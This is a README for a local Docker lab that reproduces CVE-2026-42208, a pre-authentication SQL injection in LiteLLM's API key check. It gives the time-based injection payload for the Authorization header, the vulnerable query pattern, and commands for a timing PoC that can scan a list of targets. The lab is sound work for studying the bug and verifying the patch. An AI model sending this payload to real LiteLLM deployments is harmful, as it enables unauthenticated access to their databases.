Share
## https://sploitus.com/exploit?id=32A1B1D3-305F-55B1-819C-5248A106C5B4
# CVE-2026-42208 โ€” LiteLLM Pre-Auth SQL Injection Lab

A local lab for studying, reproducing, and verifying the patch for CVE-2026-42208: an unauthenticated SQL injection in LiteLLM's API key authentication path.

## Vulnerability Summary

LiteLLM's authentication middleware passes the raw Bearer token directly into a PostgreSQL query without parameterization when the token does not follow the `sk-` prefix path. An attacker can inject arbitrary SQL via the `Authorization` header on any endpoint โ€” no credentials required.

**Affected endpoint:** Any authenticated endpoint (e.g. `POST /v1/chat/completions`)  
**Injection point:** `Authorization: Bearer `  
**Proof technique:** Time-based blind โ€” `' OR (SELECT pg_sleep(N)) IS NULL --`  
**Fixed in:** v1.83.7

---

## Lab Instances

| Port | Version | Image | Status |
|------|---------|-------|--------|
| 8081 | v1.81.14 | `ghcr.io/berriai/litellm:v1.81.14-stable` | Stable |
| 8082 | v1.83.3  | `ghcr.io/berriai/litellm-database:main-v1.83.3-stable.patch.3` | Vulnerable |
| 8083 | v1.83.6  | `ghcr.io/berriai/litellm-database:v1.83.6-nightly` | Vulnerable |
| 8084 | v1.83.7  | `ghcr.io/berriai/litellm-database:v1.83.7-stable` | Patched |
| 8085 | v1.86.0  | `ghcr.io/berriai/litellm-database:v1.86.0` | Patched |

**Master key (all instances):** `sk-local-fake-master-key`

---

## Prerequisites

- Docker Desktop (with Compose v2)
- Python 3.9+ (for the PoC scripts)

---

## Setup

```bash
# First run โ€” build images and wipe any old volumes
docker compose down -v
docker compose up --build -d

# Check all services are healthy
docker compose ps

# Watch seeder logs to confirm seed keys were created
docker compose logs -f seed-v1.81.14 seed-v1.83.3 seed-v1.83.6 seed-v1.83.7 seed-v1.86.0
```

> **Why seeding is required:** The SQL injection payload only fires when `LiteLLM_VerificationToken` has at least one row. PostgreSQL skips `WHERE` clause evaluation entirely on empty tables, so `pg_sleep()` never executes. Each `seed-*` service calls `/key/generate` via the LiteLLM API after startup to create a properly hashed token โ€” exactly what a real deployment would have.

---

## Running the PoC

### Single target

```bash
python poc2.py --url http://127.0.0.1:8083
```

### All instances at once (using targets.json)

```bash
python poc2.py --targets targets.json
```

### Options

| Flag | Default | Description |
|------|---------|-------------|
| `--url` | โ€” | Single target base URL |
| `--targets` | โ€” | JSON file with `[{url, name}, ...]` entries |
| `--path` | `/v1/chat/completions` | API path to test |
| `--sleep` | `6` | `pg_sleep()` duration in seconds |
| `--rounds` | `2` | Number of probe rounds per target |

### Expected output

**Vulnerable instance** โ€” probe takes ~6 s longer than baseline:
```
[baseline] status=401 elapsed=0.041s ...
[probe]    round=1  status=401 elapsed=6.089s ...
  baseline=0.041s  median=6.089s  delta=6.048s
  result=LIKELY VULNERABLE
```

**Patched instance** โ€” no timing difference:
```
[baseline] status=401 elapsed=0.038s ...
[probe]    round=1  status=401 elapsed=0.042s ...
  baseline=0.038s  median=0.042s  delta=0.004s
  result=LIKELY PATCHED_OR_NOT_TRIGGERED
```

---

## How the Injection Works

The vulnerable code path builds the lookup query with raw string interpolation:

```python
# Simplified โ€” vulnerable versions only
query = f"SELECT * FROM \"LiteLLM_VerificationToken\" WHERE token = '{raw_token}'"
```

Sending `' OR (SELECT pg_sleep(6)) IS NULL -- ` as the Bearer token produces:

```sql
SELECT * FROM "LiteLLM_VerificationToken"
WHERE token = '' OR (SELECT pg_sleep(6)) IS NULL -- '
```

The `OR` condition is always true, so every row matches โ€” and `pg_sleep(6)` executes once per row before returning. The patched versions use parameterized queries, so the payload is treated as a literal string and the subquery never runs.

---

## Project Structure

```
CVE-2026-42208-LAB/
โ”œโ”€โ”€ docker-compose.yaml       # All services: DBs, LiteLLM instances, seeders
โ”œโ”€โ”€ targets.json              # Target list for poc2.py --targets
โ”œโ”€โ”€ poc2.py                   # Timing-based PoC (single or multi-target)
โ”œโ”€โ”€ poc.py                    # Alternative PoC with extended options
โ”œโ”€โ”€ seed.sql                  # Reference โ€” documents the seeding rationale
โ”œโ”€โ”€ v1.81.14/
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ””โ”€โ”€ litellm_config.yaml
โ”œโ”€โ”€ v1.83.3/
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ””โ”€โ”€ litellm_config.yaml
โ”œโ”€โ”€ v1.83.6/
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ””โ”€โ”€ litellm_config.yaml
โ”œโ”€โ”€ v1.83.7/
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ””โ”€โ”€ litellm_config.yaml
โ””โ”€โ”€ v1.86.0/
    โ”œโ”€โ”€ Dockerfile
    โ””โ”€โ”€ litellm_config.yaml
```

---

## Teardown

```bash
# Stop and remove containers (keep volumes)
docker compose down

# Stop and remove everything including volumes
docker compose down -v
```